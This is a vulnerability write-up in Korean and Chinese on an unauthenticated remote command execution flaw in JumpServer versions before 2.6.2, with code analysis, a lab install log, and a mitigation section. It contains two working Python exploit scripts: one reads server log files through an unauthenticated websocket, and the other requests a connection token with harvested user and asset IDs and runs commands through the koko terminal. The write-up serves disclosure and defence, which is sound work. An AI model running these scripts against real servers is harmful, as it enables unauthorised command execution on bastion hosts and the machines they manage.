0 소개
JumpServer는 오픈 소스 배스천 머신으로 4A 사양을 준수하는 운영 및 유지 관리 보안 감사 시스템이며 일반적으로 점핑 머신입니다.
2021년 1월 15일에 JumpServer는 원격 명령 실행 취약성을 수정한 보안 업데이트를 릴리스했습니다. JumpServer의 일부 인터페이스에는 인증 제한이 없기 때문에 공격자는 민감한 정보를 얻기 위해 악의적인 요청을 구성하거나 관련 작업을 수행하여 모든 시스템을 제어하고 임의의 명령을 실행할 수 있습니다.
영향을 받는 버전:
- 점프서버 < v2.6.2
- 점프서버 < v2.5.4
- 점프서버 < v2.4.5
- 점프서버 = v1.5.9
1. 취약점 분석
복구 코드의 커밋 레코드를 참조하십시오 .
CeleryLogWebsocket 클래스의 연결에 인증이 추가된 것으로 확인되었습니다.
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class TaskLogWebsocket(JsonWebsocketConsumer):
disconnected = False
log_types = {
'celery': get_celery_task_log_path,
'ansible': get_ansible_task_log_path
}
def connect(self):
user = self.scope["user"]
if user.is_authenticated and user.is_org_admin:
self.accept()
else:
self.close()
def get_log_path(self, task_id):
func = self.log_types.get(self.log_type)
if func:
return func(task_id)
def receive(self, text_data=None, bytes_data=None, **kwargs):
data = json.loads(text_data)
task_id = data.get('task')
self.log_type = data.get('type', 'celery')
if task_id:
self.handle_task(task_id)
def wait_util_log_path_exist(self, task_id):
log_path = self.get_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({
'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({
'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{
'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
이 클래스의 http 인터페이스를 확인하십시오.
이 클래스를 통해 이 인터페이스의 액세스 체인이 다음과 같다는 것을 알 수 있습니다.
访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数
taskid는 우리가 보낸 text_data에서 파싱되므로 제어할 수 있습니다. 다음과 같은 방법으로 /opt/jumpserver/logs/jumpserver.log 로그 파일을 읽을 수 있습니다.
向ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{
"task":"/opt/jumpserver/logs/jumpserver"}
위는 파일 읽기의 원칙이며 로그 파일 읽기에는 다음과 같은 제한이 있습니다.
- 파일은 절대 경로를 통해서만 읽을 수 있습니다.
- 로그로 끝나는 파일만 읽을 수 있습니다.
원격 코드 실행을 구현하는 방법을 분석해 보겠습니다.
/opt/jumpserver/logs/gunicorn.log를 읽으면 운이 좋으면 사용자 uid, 시스템 사용자 uid 및 자산 ID를 읽을 수 있습니다.
- 사용자 아이디
- 자산 ID
- 시스템 사용자 ID
上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi
通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:
https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342
--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167
具体代码如下:
总结完整的rce利用步骤为:
- 未授权的情况下能够建立websocket连接
- task可控,可以通过websocket对日志文件进行读取
- 拿到日志文件中的系统用户,用户,资产字段
- 通过3中的字段,可以拿到20s的token
- 通过该token能够进入koko的tty,执行命令
2 漏洞复现
2.1 环境搭建
- 本地环境:xubuntu20.04
- jumpserver版本:2.6.1版本
安装步骤:
# 下载
git clone https://github.com/jumpserver/installer.git
cd installer
# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1
# 启动
./jmsctl.sh restart
完整日志
# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.
# yanq @ yanq-desk in ~/gitrepo [22:20:27]
$ cd installer
# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30]
$ ls
compose config-example.txt config_init jmsctl.sh README.md scripts static.env utils
# yanq @ yanq-desk in ~/gitrepo [22:18:59]
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install
██╗██╗ ██╗███╗ ███╗██████╗ ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗
██║██║ ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
██║██║ ██║██╔████╔██║██████╔╝███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝
██ ██║██║ ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗
╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║ ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║
╚════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
Version: dev
>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成
2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成
3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成
4. 配置网络
需要支持 IPv6 吗? (y/n) (默认为n): n
完成
5. 自动生成加密密钥
完成
6. 配置持久化目录
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失
文件系统 容量 已用 可用 已用% 挂载点
udev 7.3G 0 7.3G 0% /dev
/dev/nvme0n1p2 468G 200G 245G 45% /
/dev/loop1 56M 56M 0 100% /snap/core18/1944
/dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513
/dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60
/dev/loop0 56M 56M 0 100% /snap/core18/1932
/dev/loop5 32M 32M 0 100% /snap/snapd/10492
/dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514
/dev/loop4 52M 52M 0 100% /snap/snap-store/498
/dev/loop7 52M 52M 0 100% /snap/snap-store/518
/dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66
/dev/loop9 32M 32M 0 100% /snap/snapd/10707
/dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi
设置持久化卷存储目录 (默认为/opt/jumpserver):
完成
7. 配置MySQL
是否使用外部mysql (y/n) (默认为n): n
完成
8. 配置Redis
是否使用外部redis (y/n) (默认为n): n
完成
>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12-- https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”
/tmp/docker.tar.gz 100%[===========================================================================================================================================>] 41.80M 13.8MB/s 用时 3.0s
2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])
开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17-- https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28-- https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”
/tmp/docker-compose 100%[===========================================================================================================================================>] 11.65M 8.43MB/s 用时 1.4s
2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): n
完成
2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统 容量 已用 可用 已用% 挂载点
udev 7.3G 0 7.3G 0% /dev
/dev/nvme0n1p2 468G 200G 245G 45% /
/dev/loop1 56M 56M 0 100% /snap/core18/1944
/dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513
/dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60
/dev/loop0 56M 56M 0 100% /snap/core18/1932
/dev/loop5 32M 32M 0 100% /snap/snapd/10492
/dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514
/dev/loop4 52M 52M 0 100% /snap/snap-store/498
/dev/loop7 52M 52M 0 100% /snap/snap-store/518
/dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66
/dev/loop9 32M 32M 0 100% /snap/snapd/10707
/dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi
Docker存储目录 (默认为/opt/docker):
完成
3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n) (默认为y): y
完成
>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete
14c9d57a1c7f: Pull complete
ccd033d7ec06: Pull complete
6ff79b059f99: Pull complete
d91237314b77: Pull complete
c47d41ba6aa8: Pull complete
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine
[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete
fedd960d3481: Pull complete
7ab947313861: Pull complete
64f92f19e638: Pull complete
3e80b17bff96: Pull complete
014e976799f9: Pull complete
59ae84fee1b3: Pull complete
7d1da2a18e2e: Pull complete
301a28b700b9: Pull complete
979b389fc71f: Pull complete
403f729b1bad: Pull complete
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5
[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete
6ff0ab02fe54: Pull complete
e5b318df7728: Pull complete
b7a5a4fe8726: Pull complete
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2
[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete
b1242e25d284: Pull complete
7453d3e6b909: Pull complete
07ce7418c4f8: Pull complete
e295e0624aa3: Pull complete
d373a40639dd: Pull complete
565ad7a883c2: Pull complete
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev
[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists
80ff6536d04b: Pull complete
2d04da85e485: Pull complete
998aa32a5c8a: Pull complete
7733ef26f344: Pull complete
a3fc2d00adff: Pull complete
0fceca9bd0c9: Pull complete
6fd88063e2c9: Pull complete
6b761cc0db94: Pull complete
25d46cb4551e: Pull complete
6da27e4adc2b: Pull complete
e521a634bfca: Pull complete
90d95c158108: Pull complete
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev
[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer
1473f8a0a4e1: Pulling fs layer
683341f9f103: Pull complete
631f019c17de: Pull complete
f3a995ef2b4b: Pull complete
c091dc645c6f: Pull complete
4e858775bdf0: Pull complete
fa772130cab7: Pull complete
a0f79afbde1c: Pull complete
fdaf81979833: Pull complete
8d4986e114f0: Pull complete
eeb197dd15a0: Pull complete
271cd9c942c6: Pull complete
fc8bb9405f48: Pull complete
06a07acf5be2: Pull complete
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev
[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer
ef072fc32a84: Pulling fs layer
c0afb8e68e0b: Pulling fs layer
d599c07d28e6: Pulling fs layer
e8a829023b97: Waiting
2709df21cc5c: Waiting
3bfb431a8cf5: Waiting
bb9822eef866: Waiting
5842bda2007b: Pulling fs layer
453a23f25fcb: Waiting
c856ffeae983: Waiting
c51581693e31: Pull complete
0809345a90d0: Pull complete
0ba7229a2102: Pull complete
bf692785c490: Pull complete
9d6086f6248b: Pull complete
86c187652ab5: Pull complete
07f50f434b4b: Pull complete
9173a0544d33: Pull complete
78884a472184: Pull complete
940cbfe07a44: Pull complete
f322e824f1f5: Pull complete
02228eb4be13: Pull complete
dfe141bc6b7b: Pull complete
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev
[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
b1e2e4ef9246: Pull complete
cf63647ff370: Pull complete
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev
>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start
2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解
3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443
4. ssh/sftp 访问
ssh [email protected] -p2222
sftp -P2222 [email protected]
5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/
root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n) (默认为n): y
1. 检查配置变更
完成
2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n):
完成
3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine
[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5
[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2
[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
9aa19406fcc2: Pull complete
b88c1894aa70: Pull complete
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1
[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete
334ed303e4ad: Pull complete
a687a65725ea: Pull complete
fe607cb30fbe: Pull complete
af3dd7a5d357: Pull complete
5ed087772967: Pull complete
de88310b192c: Pull complete
3f3c40cb5584: Pull complete
a616053790d8: Pull complete
f78e4ffd4b11: Pull complete
681df5236765: Pull complete
6feeeb96a348: Pull complete
8b170624587e: Pull complete
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1
[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists
c4b1524d2f75: Pulling fs layer
8522e19e2998: Pull complete
106d5adca780: Pull complete
e649208988b3: Pull complete
fd02488ce54c: Pull complete
8566396c9588: Pull complete
5c3ae6b36882: Pull complete
cb4e3aeda111: Pull complete
3bc46e9d6be9: Pull complete
919620ef3747: Pull complete
3998a9375e49: Pull complete
5869987766aa: Pull complete
9fd39a172e25: Pull complete
f60bfb937cc4: Pull complete
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1
[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer
221d80d00ae9: Pulling fs layer
4250b3117dca: Pulling fs layer
d1370422ab93: Pulling fs layer
deb6b03222ca: Pulling fs layer
9cdea8d70cc3: Pulling fs layer
968505be14db: Pulling fs layer
04b5c270ac81: Pulling fs layer
301d76fcab1f: Pulling fs layer
f4d49608235a: Pulling fs layer
f4c6404fd6f8: Pulling fs layer
73ac8e900d64: Pulling fs layer
eec0a1010dfa: Pull complete
199219e1bcf7: Pull complete
54d3328751a0: Pull complete
68412973433c: Pull complete
b45d84968434: Pull complete
9569df8016cc: Pull complete
642448bde40a: Pull complete
e788dd92de90: Pull complete
223eaf2bd9f6: Pull complete
b68966fc02ad: Pull complete
cf0eb6b2e415: Pull complete
0b78188a975b: Pull complete
704b69b91dcb: Pull complete
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1
[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists
b1242e25d284: Already exists
7453d3e6b909: Already exists
07ce7418c4f8: Already exists
e295e0624aa3: Already exists
2ec572beb6c1: Pull complete
c7d22dce32ca: Pull complete
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1
完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz
5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...
472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
No migrations to apply.
完成
6. 升级成功, 可以重启程序了
./jmsctl.sh restart
root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done
WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina ... done
Creating jms_guacamole ... done
Creating jms_koko ... done
Creating jms_celery ... done
Creating jms_luna ... done
Creating jms_nginx ... done
2.2 读取日志
可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn
下面用代码测试:
import asyncio
import re
import websockets
import json
url = "/ws/ops/tasks/log/"
async def main_logic(t):
print("#######start ws")
async with websockets.connect(t) as client:
await client.send(json.dumps({
"task": "//opt/jumpserver/logs/jumpserver"}))
while True:
ret = json.loads(await client.recv())
print(ret["message"], end="")
if __name__ == "__main__":
host = "http://192.168.1.7:8080"
target = host.replace("https://", "wss://").replace("http://", "ws://") + url
print("target: %s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(target))
这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。
搭建的漏洞环境中有如下日志可以读:
root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root 4096 1月 17 23:59 .
drwxr-xr-x 4 root root 4096 1月 17 22:17 ..
drwxr-xr-x 2 root root 4096 1月 17 23:59 2021-01-17
-rw-r--r-- 1 root root 0 1月 17 22:17 ansible.log
-rw-r--r-- 1 root root 2978 1月 18 01:51 beat.log
-rw-r--r-- 1 root root 3122 1月 18 01:51 celery_ansible.log
-rw-r--r-- 1 root root 978 1月 18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root 4332 1月 18 01:51 celery_default.log
-rw-r--r-- 1 root root 0 1月 17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root 4604 1月 18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root 1919 1月 18 01:50 daphne.log
-rw-r--r-- 1 root root 1359 1月 17 22:18 drf_exception.log
-rw-r--r-- 1 root root 0 1月 17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月 18 01:52 gunicorn.log
-rw-r--r-- 1 root root 7470 1月 18 01:51 jumpserver.log
-rw-r--r-- 1 root root 0 1月 17 22:17 unexpected_exception.log
比如读取gunicorn.log:
除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)
向ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{
"task":"33xxxxx"}
2.3 远程命令执行
需要在jumpserver中添加一台主机,并且用户登录web terminal。
登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)
如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。
通过以下脚本进行远程命令执行利用
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({
"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({
"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
host = "http://192.168.1.7:8080"
cmd="whoami"
if host[-1]=='/':
host=host[:-1]
print(host)
data = {
"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
"system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
3 修复方案
以下根据官方文档:
- 将JumpServer升级至安全版本;
- 临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}
location /api/v1/users/connection-token/ {
return 403;
}
# 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}
...
修改完成后重启 nginx
docker方式:
docker restart jms_nginx
nginx方式:
systemctl restart nginx
修复验证
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复